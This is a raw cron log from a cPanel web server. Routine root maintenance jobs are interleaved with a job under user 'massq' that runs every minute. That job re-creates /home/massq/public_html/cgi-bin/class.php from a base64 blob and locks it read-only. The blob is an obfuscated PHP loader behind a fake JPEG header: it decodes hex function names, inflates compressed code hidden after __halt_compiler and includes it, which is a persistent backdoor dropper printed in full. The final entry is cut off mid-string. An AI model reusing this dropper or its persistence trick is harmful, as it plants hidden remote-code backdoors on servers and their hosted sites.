Sep  3 18:05:01 server CROND[31118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:05:01 server CROND[31122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:05:01 server CROND[31125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:05:01 server CROND[31128]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:05:01 server CROND[31126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:05:01 server CROND[31124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:05:01 server CROND[31127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:06:01 server CROND[32105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:06:01 server CROND[32106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:06:01 server CROND[32107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:07:01 server CROND[32492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:07:01 server CROND[32493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:07:01 server CROND[32494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:08:01 server CROND[416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:08:01 server CROND[417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:08:01 server CROND[418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:09:01 server CROND[826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:09:01 server CROND[827]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 18:09:01 server CROND[828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:09:01 server CROND[831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:10:01 server CROND[1299]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:10:01 server CROND[1301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:10:01 server CROND[1304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:10:01 server CROND[1305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:10:01 server CROND[1313]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:10:01 server CROND[1311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:10:01 server CROND[1314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:10:01 server CROND[1315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:11:01 server CROND[2269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:11:01 server CROND[2270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:11:01 server CROND[2271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:12:01 server CROND[2658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:12:01 server CROND[2659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:12:01 server CROND[2660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:12:01 server CROND[2661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:13:01 server CROND[3066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:13:01 server CROND[3065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:13:01 server CROND[3067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:14:01 server CROND[3451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:14:01 server CROND[3453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:14:01 server CROND[3452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:15:01 server CROND[3849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:15:01 server CROND[3851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:15:01 server CROND[3853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:15:01 server CROND[3855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:15:01 server CROND[3856]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 18:15:01 server CROND[3861]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 18:15:01 server CROND[3858]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 18:15:01 server CROND[3857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:15:01 server CROND[3860]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:15:01 server CROND[3859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:16:01 server CROND[4811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:16:01 server CROND[4812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB